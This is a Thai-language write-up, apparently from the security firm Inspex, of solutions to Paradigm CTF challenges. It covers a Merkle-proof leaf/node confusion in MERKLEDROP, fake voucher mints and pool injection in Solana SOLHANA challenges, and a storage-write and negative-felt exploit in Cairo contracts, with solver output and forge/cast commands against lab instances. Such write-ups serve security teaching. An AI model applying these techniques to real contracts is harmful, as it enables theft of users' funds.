runtime bytecode: 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631b3abba014610030575b600080fd5b61004361003e36600461014a565b61005c565b6040805192835260208301919091520160405180910390f35b60405163f877cb1960e01b81526000908190737109709ecfa91a80626ff3989d68f67f5b1dd12d908290829063f877cb19906100b390600401602080825260049082015263464c414760e01b604082015260600190565b6000604051808303816000875af11580156100d2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526100fa9190810190610179565b90506000610109826020610126565b90506000610118836040610126565b919791965090945050505050565b81516000908390820361013d575060009050610144565b5050818101515b92915050565b60006020828403121561015c57600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561018c57600080fd5b825167ffffffffffffffff808211156101a457600080fd5b818501915085601f8301126101b857600080fd5b8151818111156101ca576101ca610163565b604051601f8201601f19908116603f011681019083821181831017156101f2576101f2610163565b81604052828152888684870101111561020a57600080fd5b600093505b8284101561022c578484018601518185018701529285019261020f565b60008684830101528096505050505050509291505056fea26469706673582212209120a8f35834f204af3746d2b256675b3c4330670545b904b6d04f680caa247f64736f6c63430008100033you didn't factor the number. 36303988286885487241881563943446880517349042511396977973869722935105628174645 * 43057057880393007403564109894319249048263545241531721173866963997594434404352 != 47914332001412349049026046261367819686545943268066325658829054066493538297033
จากผลลัพธ์ จะเห็นว่าเราไม่ได้แยกตัวประกอบได้อย่างถูกต้อง แต่ output ที่ส่งออกมานั้นคือ bytes ของ flag ที่เรา encode ไว้ เราสามารถใช้ Python เพื่อ decode ค่ากลับมาเป็น string ได้ดังนี้
$ ipython
Python 3.8.10 (default, Jun 22 2022, 20:18:18)
Type 'copyright', 'credits' or 'license' for more information
IPython 7.23.0 -- An enhanced Interactive Python. Type '?' for help.In [1]: from Crypto.Util.number import long_to_bytesIn [2]: long_to_bytes(36303988286885487241881563943446880517349042511396977973869722935105628174645)
Out[2]: b'PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5'In [3]: long_to_bytes(43057057880393007403564109894319249048263545241531721173866963997594434404352)
Out[3]: b'_1n_4_c7f}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
Flag: PCTF{d0n7_y0u_10v3_f1nd1n9_0d4y5_1n_4_c7f}
MERKLEDROP
CHALLENGE: MERKLEDROP
AUTHOR: Riley Holterhus
TAGS: PWN
DESCRIPTION: Were you whitelisted?
ACCESS: nc 35.188.148.32 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/merkledrop.zip
โจทย์ข้อนี้เป็นข้อเกี่ยวกับการแจก airdrop โดยใช้ Merkle tree ในการตรวจสอบผู้รับ airdrop
File structure
contracts/Setup.sol
จะมี 2 contract คือ Token และ Setup ที่ไว้ใช้ deployMerkleDistributor
contract และมี functionisSolved()
ไว้ตรวจผลของโจย์contracts/MerkleDistributor.sol
จะเป็น contract ที่ถือ airdrop reward และมี functionclaim()
ไว้แจกจ่าย airdropcontracts/MerkleProof.sol
เป็น Library ที่มี functionverify()
ไว้เพื่อตรวจสอบความถูกต้องของ Merkle tree.tree.json
เป็น list ของ address, claim amount และ index ของผู้ที่ได้รับ airdrop ใน Merkle tree
เป้าหมายของโจทย์นี้คือการดึง airdrop reward ทั้งหมดออกจาก contract โดยที่ไม่ได้มาจากการ claim airdrop ทั้งหมด (ด้วยวิธีปกติ)
ใน MerkleProof
contract จะมีแค่ verify()
function ตามปกติซึ่งไว้ใช้เพื่อตรวจสอบความถูกต้องของข้อมูลที่ส่งเข้ามา
มีจุดที่น่าสนใจใน MerkleDistributor
contract โดย function claim()
นั้นรับ index
, address
, amount
, และ array ของ merkleProof
เพื่อทำการ claim airdrop และจะโอน reward ไปให้ address
ที่ใส่เข้ามาเท่ากับ amount
ที่ใส่เข้ามา
โดยตอนนี้เราสามารถผ่านเงื่อนไขแรกได้ด้วยข้อมูลจากไฟล์ tree.json
แต่ยังติดเงื่อนไขที่สอง
ถ้าหากลองดูให้ดี จะเห็นว่า MerkleDistributor
contract และ MerkleProof
contract นั้นมีการใช้งาน function keccak256()
ที่ไม่เหมือนกัน
โจทย์มีการใช้ function abi.encodePacked()
ในทั้ง MerkleDistributor
contract และ MerkleProof
contract
ใน MerkleDistributor
contract function abi.encodePacked()
นั้นรับ uint256
(index
), address
(account
), และ uint96
(amount
) โดยผลลัพธ์จะมีขนาด = 32 bytes(uint256
) + 20 bytes (address
) + 12 bytes (uint96
) = 64 bytes
ทำนองเดียวกันกับ MerkleProof
contract ตัวผลลัพธ์ของ function abi.encodePacked()
จะมีขนาด 32 bytes (byte32
) + 32 bytes (byte32
) = 64 bytes ซึ่งผลลัพธ์ของทั้งคู่นั้น “บังเอิญ(?)” เท่ากันพอดี
ดังนั้นเราสามารถใช้ proof ที่ต่อกัน (ผลลัพธ์จาก abi.encodePacked()
ใน MerkleProof
) แทน leaf ได้ โดย จะแบ่งเป็น uint256(index)
, address(account)
และ uint96(amount)
และใช้ในการเรียก function claim()
เพราะใน function verify()
นั้นไม่สามารถแยกระหว่าง leaf หรือ node ได้ ทำให้ผ่านการตรวจได้
หากเราสามารถหา node ที่มีค่า index
, address
, และ amount
ที่อยู่ใน Merkle tree และ มีค่า amount
รวมกับ claim อื่น ๆ ที่เหลือแล้วเท่ากับ reward ทั้งหมดพอดี ก็จะสามารถผ่านข้อนี้ได้
เราจึงเขียนโปรแกรมด้วยภาษา Go เพื่อหา node ที่เข้ากันกับเงื่อนไขทั้งหมดข้างต้น
หลังจากรันโปรแกรมก็ได้ผลลัพธ์ที่ต้องการ เราจะต้องทำการ claim 2 รอบ โดยในครั้งแรกจะต้อง claim ด้วยค่าต่อไปนี้
index
:0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442
account
:0x000000000000000000000000d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a
amount
:0xf40f0c122ae08d2207b
proofs
:[0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d, 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde, 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813, 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c, 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]
ค่า index
จะเป็นค่าของ proof แรก 32 bytes ส่วนค่า account
จะเป็น 20 bytes แรกของ proof ที่สอง และค่า amount
จะเป็น 12 bytes ที่เหลือของ proof ที่สอง
$ go build
$ ./merkledrop-solver
[+] Found a good node that can be used
Raw Node: d43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a00000f40f0c122ae08d2207b
Index: 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442
Account: 0x000000000000000000000000d48451c19959e2d9bd4e620fbe88aa5f6f7ea72a
Amount: 0xf40f0c122ae08d2207b
Proof: [0x8920c10a5317ecff2d0de2150d5d18f01cb53a377f4c29a9656785a22a680d1d 0xc999b0a9763c737361256ccc81801b6f759e725e115e4a10aa07e63d27033fde 0x842f0da95edb7b8dca299f71c33d4e4ecbb37c2301220f6e17eef76c5f386813 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5][*] SubsetSum has been found (please claim the following)
Index: 8
Account: 0x249934e4C5b838F920883a9f3ceC255C0aB3f827
Amount: 0xa0d154c64a300ddf85
Proof: [0xe10102068cab128ad732ed1a8f53922f78f0acdca6aa82a072e02a77d343be00 0xd779d1890bba630ee282997e511c09575fae6af79d88ae89a7a850a3eb2876b3 0x46b46a28fab615ab202ace89e215576e28ed0ee55f5f6b5e36d7ce9b0d1feda2 0xabde46c0e277501c050793f072f0759904f6b2b8e94023efb7fc9112f366374a 0x0e3089bffdef8d325761bd4711d7c59b18553f14d84116aecb9098bba3c0a20c 0x5271d2d8f9a3cc8d6fd02bfb11720e1c518a3bb08e7110d6bf7558764a8da1c5]
-------------------------------------------------------------
ภาพนี้แสดงถึงการทำ Merkle tree verification เมื่อทำการ claim ที่ index 37
ส่วนภาพต่อไปนี้แสดงถึงการทำ Merkle tree verification เมื่อทำการ claim โดยใช้ 0xd43194becc149ad7bf6db88a0ae8a6622e369b3367ba2cc97ba1ea28c407c442
เป็นค่า index
, ใช้ 0xd48451c19959e2d9bd4e620fbe88aa5f6f7ea72a
เป็นค่า account
และใช้ 0xf40f0c122ae08d2207b
เป็นค่า amount
โดยค่าที่ได้จากการคำนวณ node จะเท่ากับ 0x225de26d438b50d8...
เหมือนเดิม ซึ่งจะยังคงถูกต้องเหมือนในภาพก่อนหน้า
เมื่อเจอค่าที่ต้องการแล้วเราก็นำมาเขียน contract เพื่อทำการแก้โจทย์ข้อนี้
เชื่อมต่อไป server เพื่อ สร้าง instance
$ nc 35.188.148.32 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d5884e69a227beb9073e19eyour private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: 8115689c-c95d-4c80-8193-77a2baa2649c
rpc endpoint: http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c
private key: 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a
setup contract: 0x5813ba57FedC9d79348E4D596BeE61842f2101A9
จากนั้น deploy Exploit
contract
$ forge create --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a contracts/Exploit.sol:Exploit
[⠢] Compiling...
No files changed, compilation skipped
Deployer: 0xA5D642447Ff6d8Cc08B07FBc2aede0117b05afa8
Deployed to: 0xDed2fA947ddD29B2da4dC5921a0D8bD0A0b4C53c
Transaction hash: 0xcb30e8c293a665788412b6719a2240ff9116b55fb1a676dd1ac13cfef2ee0f20
เรียก function merkleDistributor()
เพื่อหา address ของ MerkleDistributor
contract ที่ถูก deploy
$ cast call --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a 0x5813ba57FedC9d79348E4D596BeE61842f2101A9 "merkleDistributor()"
0x00000000000000000000000041daeba481da7cfaf2975439551cc784d35ce784
ขั้นต้อนสุดท้ายเรียก function exploit()
พร้อมกับ address ของ MerkleDistributor
contract
cast send --rpc-url http://35.188.148.32:8545/8115689c-c95d-4c80-8193-77a2baa2649c --private-key 0x7f084c692be8719350ff7bcbe48565d21c1f4e6212df84a11680e4ba7723178a 0xDed2fA947ddD29B2da4dC5921a0D8bD0A0b4C53c "exploit(address)" -- 0x41daeba481da7cfaf2975439551cc784d35ce784
เชื่อมต่อ server อีกครั้งเพื่อรับ flag
$ nc 35.188.148.32 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d5884e69a227beb9073e19e
PCTF{N1C3_Pr00F_8r0}
Flag: PCTF{N1C3_Pr00F_8r0}
Solana
OTTER-WORLD
CHALLENGE: OTTER-WORLD
AUTHOR: NotDeGhost
TAGS: SANITY-CHECK
DESCRIPTION: Otter World!
ACCESS: nc 34.72.24.70 8080
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/otter-world.tar.gz
โจทย์ข้อนี้เป็นโจทย์ทดสอบเบื้องต้นสำหรับ Solana
เป้าหมายของข้อนี้คือการเรียก get_flag()
function ด้วยค่า magic
parameter ที่ถูกต้องซึ่งก็คือ 0x1337 * 0x7331
โดยในโจทย์มีการให้โครงสำหรับการเขียน script เพื่อแก้โจทย์ไว้เรียบร้อยแล้วดังนี้
ตามที่มีโน้ตไว้ว่า /* TODO */
ที่บรรทัดที่ 22 เราสามารถเติม * 0x7331
เข้าไปเพื่อให้ตรงกับค่าของ magic
ที่ต้องการได้เลย
หลังจากนั้น เราต้องไปแก้ไข IP address ของ server ที่เราจะไปเชื่อมต่อด้วย
และเมื่อรัน script ก็จะได้รับ flag กลับมา
$ ./run.sh
...
congrats!
flag: "PCTF{0tt3r_w0r1d_8c01j3}"
Flag: PCTF{0tt3r_w0r1d_8c01j3}
SOLHANA-1
CHALLENGE: SOLHANA-1
AUTHOR: hana (@dumbcontract2)
TAGS: PWN
DESCRIPTION: theres a brand new ponzi scheme in town that lets people deposit and withdraw their bitcoin. why would they want to do this? no one knows
ACCESS: nc 35.188.83.0 3000
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz
โจทย์ข้อนี้มีการให้ source code ของ server ที่ตรวจสอบ account state เพื่อเช็คว่าสามารถแก้โจทย์ได้ถูกต้องหรือไม่ โดยจะส่ง flag กลับมาเมื่อ account state ตรงตามเงื่อนไข
File Structure
chain/
: source code ของ Solana program ที่ใช้เป็นโจทย์ เราสามารถอ่านและวิเคราะห์ช่องโหว่ของโจทย์ได้จากไฟล์ในนี้client/
: โครงสำหรับการเขียน script เพื่อเชื่อมต่อไปที่ server และทำการโจมตีelf/
: ไฟล์โจทย์ Solana program ในรูปแบบ BPF binary ที่ถูก compile แล้ว สามารถใช้เพื่อทดสอบในฝั่ง local ได้โดยใช้solana-test-validator
server/
: ไฟล์ server ของโจทย์ที่ทำหน้าที่ setup ตัวโจทย์
ข้อ SOLHANA-1 นี้คือ platform ที่เปิดให้ user สามารถมาฝากและถอน token ได้
โดยเงื่อนไขที่จะผ่านข้อนี้ได้คือต้องทำให้ balance ของ deposit_account
กลายเป็น 0
ซึ่งในตอนแรก Satoshi จะ mint 10 Bitcoin และฝาก (ผ่าน deposit()
function) ไปยัง deposit_account
ดังนั้นเราจึงต้องเอา Bitcoin ส่วนนี้ออกจาก account ให้ได้
เราลองมาดูที่ Solana program ของโจทย์ว่า user สามารถทำอะไรได้บ้าง
setup_for_player()
— สร้างstate
account ที่เก็บข้อมูลสำหรับ playerdeposit()
— ฝาก token จากdepositor
account ไปยังdeposit
account และ mint (สร้าง)voucher
token ให้กับdepositor_voucher
account.withdraw()
— ถอน token ที่ฝากไว้จากdeposit
account กลับมาที่depositor
account และ burn (ทำลาย)voucher
token จากdepositor_voucher
account.
โดยเราจะพอเดาได้ว่าการที่จะผ่านข้อนี้น่าจะต้องเล่นกับ deposit()
และ withdraw()
function เนื่องจาก 2 functions นี้จะทำให้ balance ของ account เปลี่ยนแปลงได้
โดยใน withdraw()
function นั้นเราสามารถที่จะถอน Bitcoin ของออกไปให้คนอื่นได้ (ทำให้ balance เป็น 0) แต่ว่าจะมี requirement คือ จะต้องมี voucher token ใน depositor_voucher_account
ก่อนเพื่อใช้สำหรับ burn ซึ่ง ณ ตอนนี้ player ไม่มี voucher token ใน account เลย
แล้วถ้าเกิดว่า เราสร้าง voucher ปลอมขึ้นมาล่ะ จะสามารถใช้ withdraw ได้่มั้ย เราลองมาดูที่ code ในส่วนที่ตรวจสอบ account กันว่า attack scenario ของเราสามารถทำได้หรือไม่
จาก code จะเห็นว่า ตัวโปรแกรมตรวจสอบแค่ว่า voucher_mint
account มี mint::authority = state
และ token::decimals = deposit_mint.decimals
หรือไม่
ดังนั้นเราสามารถโจมตีได้ด้วยขั้นตอนต่อไปนี้
- สร้าง voucher program ปลอมขึ้นมาที่มีจำนวนทษนิยมเท่ากับ Bitcoin (6 decimals)
- Mint อย่างน้อย 10 voucher ให้กับ player เพื่อใช้ในการ burn ระหว่างการถอน
- โอน authority ของ account ไปให้
state
account - ถอนเงินจาก
deposit_account
account โดยใช้ voucher ปลอมที่สร้างขึ้นมา
โดย script การโจมตีที่ทางทีมใช้เพื่อผ่านโจทย์เป็นดังนี้
เมื่อรัน script ก็จะได้ flag ออกมา
win! your flag is: PCTF{unsafe_voucher_vouched_vouchsafely}
Flag: PCTF{unsafe_voucher_vouched_vouchsafely}
SOLHANA-2
CHALLENGE: SOLHANA-2
AUTHOR: hana (@dumbcontract2)
TAGS: PWN
DESCRIPTION: theres a brand new ponzi scheme in town that lets people deposit and withdraw their ethereum. why would they want to do this? no one knows
ACCESS: nc 35.188.83.0 3000
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/solhana-ctf.tar.gz
ในโจทย์ SOLHANA-2 นั้นจะเหมือนกับข้อ SOLHANA-1 เพิ่มเติมคือมี liquidity pool และ function swap แบบ AMM
เราได้แก้โจทย์ข้อนี้ผ่านการจำลองใน local แต่ด้วยเหตุผลบางอย่างทำให้ไม่สามารถแก้แบบเดียวกันเพื่อรับ flag จากฝั่ง server ได้ ทั้งนี้รายละเอียดต่อไปนี้จึงอาจจะไม่ตรงกับ intended solution แต่เราหวังว่ามันจะช่วยให้คุณเข้าใจโจทย์ข้อนี้มากขึ้น
เงื่อนไขในการผ่านข้อนี้คือต้องทำให้จำนวนรวม token ของทั้ง 3 pool จะต้องน้อยกว่าหรือเท่ากับ 150_000_000
โจทย์จะเริ่มต้นมาด้วย 3 liquidity token pool ไว้สำหรับทำการ swap โดยประกอบไปด้วย wo_eth
(8 decimals), so_eth
(6 decimals), and st_eth
(8 decimals) และให้จำนวน token มา 100_000_000 ในแต่ละ pool account โดยสำหรับ player อย่างเราจะได้แค่ 1_000 ในแต่ละ account
เรามาเริ่มที่ function add_pool()
และ swap()
ใน function add_pool()
จะเพิ่ม pool ใหม่เข้าไปใน pool
array ของ state
account โดยไม่ได้ตรวจสอบว่าจะทับของเก่าที่มีอยู่หรือไม่ นี่อาจจะเป็นจุดที่ทำให้เกิดปัญหาในข้อนี้ก็เป็นได้
ส่วนใน function swap()
นั้น ระหว่างการ swap token จะมีการ validate ตัว token amount ในกรณีที่ input และ output token มีจำนวน decimal ต่างกัน และ pool account ที่ส่งเข้ามาจะต้องมีอยู่ใน pool
array ของ state
account จากนั้นจะโอน input token ไปที่ pool account แล้วจึงโอน output token จาก pool account กลับไปให้ user
อ่านมาถึงตรงนี้ก็สงสัยขึ้นมาว่า ถ้าเราเรียก function add_pool()
เพื่อทำการ add fake token (8 decimals) เข้าไปใน pool
array ของ state
account ซึ่งจะส่งผลให้เราสามารถที่จะ swap fake token เป็น token อื่นได้ โดยเราจะต้อง mint fake token ให้ player ด้วยเพื่อนที่จะมี balance ไป swap
จากนั้นก็เรียก function swap()
เพื่อ swap fake token ของเราเป็น token อื่นทั้งหมด ในที่นี้จะเป็น token wo_eth
และ token st_eth
ซึ่งจะส่งผลให้เราดึงจำนวน token ทั้งหมด ออกจาก pool account ดังนั้น ยอดจำนวนรวม token ในแต่ละ pool จะเป็น 0 (wo_eth
), 100_000_000 (so_eth
), 0 (st_eth
) และผลรวมจะมีค่าเท่ากับ 100_000_000 ซึ่งน้อยกว่า 150_000_000 ตรงตามที่โจทย์ต้องการ
เราเขียน script ด้านล่างเพื่อแก้โจทย์ข้อนี้และทดสอบบน local
Cairo
RIDDLE-OF-THE-SPHINX
CHALLENGE: RIDDLE-OF-THE-SPHINX
DESCRIPTION: What walks on four legs in the morning, two legs in the afternoon, three legs in the evening, and no legs at night?
ACCESS: nc 35.193.19.12 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/riddle-of-the-sphinx.zip
โจทย์ข้อนี้เป็นโจทย์ทดสอบเบื้องต้นสำหรับ Cairo (Starknet) โดยจะมีไฟล์ riddle.cairo และ chal.py มาให้ดังต่อไปนี้
โดยการที่จะผ่านข้อนี้ไป เราจะต้องเซ็ตค่า _solution
ให้เป็น “man” (0x6d616e
) ตามที่มีการเช็คใน function checker
ใน chal.py
เมื่อรู้เป้าหมายของโจทย์แล้วเราจึงทำการสร้าง instance ของโจทย์และเขียน script โดยในที่นี้เราจะใช้ “starknet.py” เพื่อเรียก function solve()
ด้วยค่า 0x6d616e
$ nc 35.193.19.12 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
[+] deploying riddleyour private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: b05e6d76-d572-4fe6-9d91-8c13e9ec39f7
rpc endpoint: http://b05e6d76-d572-4fe6-9d91-8c13e9ec39f7@35.193.19.12:5050
private key: 0x5544e5e246a2527f6d7ab7dabdcf24cd
contract: 0x51c0e03e96c6a8073c5a83b4975c0a6b801e72cc466e0a0b73f63832238e836
หลังจากรัน script แล้วเราก็จะสามารถ connect กลับไปที่ server อีกครั้งเพื่อรับ flag ของข้อนี้ได้
$ python3 solveRiddle.py
$ nc 35.193.19.12 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
PCTF{600D_1UCK_H4V3_FUN}
Flag: PCTF{600D_1UCK_H4V3_FUN}
CAIRO-PROXY
CHALLENGE: CAIRO-PROXY
DESCRIPTION: Just a simple proxy contract
ACCESS: nc 35.226.167.223 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/cairo-proxy.zip
โจทย์ข้อนี้จะมีไฟล์ Cairo ทั้งหมด 3 ไฟล์มาให้ ประกอบไปด้วย:
almost_erc20.cairo
: ERC20 token implement ด้วย Cairoproxy.cairo
: proxy contract ใช้เพื่อเรียก function ใน implementation contract ผ่าน fallback function โดย state ต่าง ๆ จะถูกเก็บใน proxy contractutils.cairo
: utility contract ที่มี function ในการเขียนและอ่าน storage โดยตรง
เมื่อเราลอง compile proxy.cairo
contract แล้วจะเห็นว่า function auth_write_storage()
นั้นได้ถูก import เข้ามาด้วยจาก utils.cairo
contract ด้วย ทำให้เรา สามารถเขียนข้อมูลลงไปใน storage ไหนก็ได้
$ starknet-compile proxy.cairo --output proxy_compiled.json --abi proxy_abi.json
จากไฟล์ chal.py
จะเห็นว่าเป้าหมายของเราคือการทำให้ balance ของ player เท่ากับ 50000e18
จากนั้น ทำการสร้าง instance และ เขียน script เรียก function auth_write_storage()
เพื่อทำการเซ็ตค่า balance ของ player ให้เป็น 50000e18
$ nc 35.226.167.223 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
[+] deploying erc20
[+] deploying proxy
[+] initializing contractsyour private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: ad90e214-daa1-4d8a-84a7-07d5e19cbb88
rpc endpoint: http://ad90e214-daa1-4d8a-84a7-07d5e19cbb88@35.226.167.223:5050
private key: 0xb9ead7dbeea0bc762872eb4151beb545
contract: 0x4a1002d5de3333850793db0d87b2f129f9363981dbd29b0c96d38c7b71d1d6c
หลังจากรัน script แล้วก็จะสามารถเชื่อมต่อเพื่อเข้าไปรับ flag ของข้อนี้ได้
$ python3 solveCairoProxy.py
Done!
$ nc 35.226.167.223 31337
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d589aec9d3b74eb976eea8b
PCTF{d3f4u17_pu811c_5721k35_4941n}
Flag: PCTF{d3f4u17_pu811c_5721k35_4941n}
CAIRO-AUCTION
CHALLENGE: CAIRO-AUCTION
AUTHOR: BitBaseBit, and Mauricio Perdomo
TAGS: PWN
DESCRIPTION: Just a simple auction contract
ACCESS: nc 34.132.254.35 31337
RESOURCES:
https://github.com/paradigmxyz/paradigm-ctf-infrastructure
https://ctf.paradigm.xyz/resources/cairo-auction.zip
nc 34.132.254.35 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
[+] deploying erc20
[+] deploying auction
[+] initializing contractsyour private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: be377312-17e7-46f0-9ca3-441954bf8fb4
rpc endpoint: http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050
private key: 0x4a854d8b84ad09278aa8ecb7a156062e
contract: 0x7f76a540c6f4984db2b292cbfb49573c2765fb9076d61ff82225e536df1e912
โจทย์ข้อนี้จะเป็นการจำลอง auction platform ด้วย Cairo โดยเป้าหมายคือเป็นผู้ชนะการประมูลให้ได้ จากไฟล์ chal.py
จะเห็นได้ว่ามีการจำลองผู้เข้าร่วมประมูลคนอื่นอีก 2 คนที่เสนอราคาที่ 100000e6
tokens ในขณะที่โจทย์ได้เตรียมไว้ให้เราแค่ 50000e6
tokens
จะเป็นผู้ชนะการประมูลได้จะต้องเรียก function raise_bid()
เพื่อให้ new_balance
มีค่ามากกว่า winning_bid
ปัจจุบัน
ในขณะที่ function unlock_funds()
มีไว้เพื่อปลดล็อคเงินที่ใช้ประมูล โดยไปจะหักลบจำนวนในกระเป๋าประมูลหรือค่า _auctionBalances
แต่ว่า Uint256
ใน Cairo คือ struct ของ felt 2 ตัว (https://github.com/starkware-libs/cairo-lang/blob/master/src/starkware/cairo/common/uint256.cairo#L9-L14) โดยค่า felt ใน Cairo เป็นค่า Integer ที่สามารถ เป็นค่าติดลบได้หากไม่มีการตรวจสอบให้ดี
หากเราทำการเรียก function unlock_funds()
โดยใส่ amount เป็นค่าติดลบ -100000000001 เพื่อที่จะเพิ่มค่า _auctionBalances
(ลบด้วยค่าติดลบจะเป็นการบวก) ให้มากกว่า winning_bid
ปัจจุบัน
หลังจากนั้นก็ทำการเรียก function raise_bid()
ด้วยค่า 0 จะเป็นการเสนอเงินเพิ่ม 0 แต่ในเมื่อค่า _auctionBalances
ของเราได้เพิ่มเป็น 100000000001 ไปแล้วจะทำให้เราชนะการประมูลได้
เมื่อรู้ดังนี้เราจึงสร้าง instance และทำการเขียน script ตามที่คิดไว้โดยค่า -100000000001 จะมีค่าเท่ากับ max felt (2**251+17*2**192+1
) ลบด้วย 100000000001 แล้วเซ็ตไปใน low
bit ของ Uint256
amount
$ nc 34.132.254.35 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 1
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
[+] deploying erc20
[+] deploying auction
[+] creating bidders
[+] initializing contractsyour private blockchain has been deployed
it will automatically terminate in 30 minutes
here's some useful information
uuid: be377312-17e7-46f0-9ca3-441954bf8fb4
rpc endpoint: http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050
private key: 0x4a854d8b84ad09278aa8ecb7a156062e
contract: 0x7f76a540c6f4984db2b292cbfb49573c2765fb9076d61ff82225e536df1e912
$ python3 solveCairoAuction.py
http://be377312-17e7-46f0-9ca3-441954bf8fb4@34.132.254.35:5050
StarknetChainId.TESTNET
player_address: 0x333c1ba254694947951f100334179aae6d42eb4d216d7de459e64b6c1668a35
My Auction Balance: Result(balance=0)
Current Winner: 0x4b855e8f7aaa622adf4d7c0af1d13cfc0ff6c7b97450b527172e17a600ac227
Current Winner Auction Balance: Result(balance=100000000000)
Unlock negative
My Auction Balance: Result(balance=100000000001)
Raise bid
My Auction Balance: Result(balance=100000000001)
Current Winner: 0x333c1ba254694947951f100334179aae6d42eb4d216d7de459e64b6c1668a35
Current Winner Auction Balance: Result(balance=100000000001)$ nc 34.132.254.35 31337
running until complete
1 - launch new instance
2 - kill instance
3 - get flag
action? 3
ticket please: c1102aa71c717aca338df7941f00f13cbd18448d588ae2813b78a39574ed9a30ef1a
PCTF{y0u_7h0u9h7_17_w45_4_p21m171v3_7yp3_8u7_17_w45_m3_d10}
Flag: PCTF{y0u_7h0u9h7_17_w45_4_p21m171v3_7yp3_8u7_17_w45_m3_d10}
About Inspex
Inspex is formed by a team of cybersecurity experts highly experienced in various fields of cybersecurity. We provide blockchain and smart contract professional services at the highest quality to enhance the security of our clients and the overall blockchain ecosystem.
For any business inquiries, please contact us via Twitter, Telegram, contact@inspex.co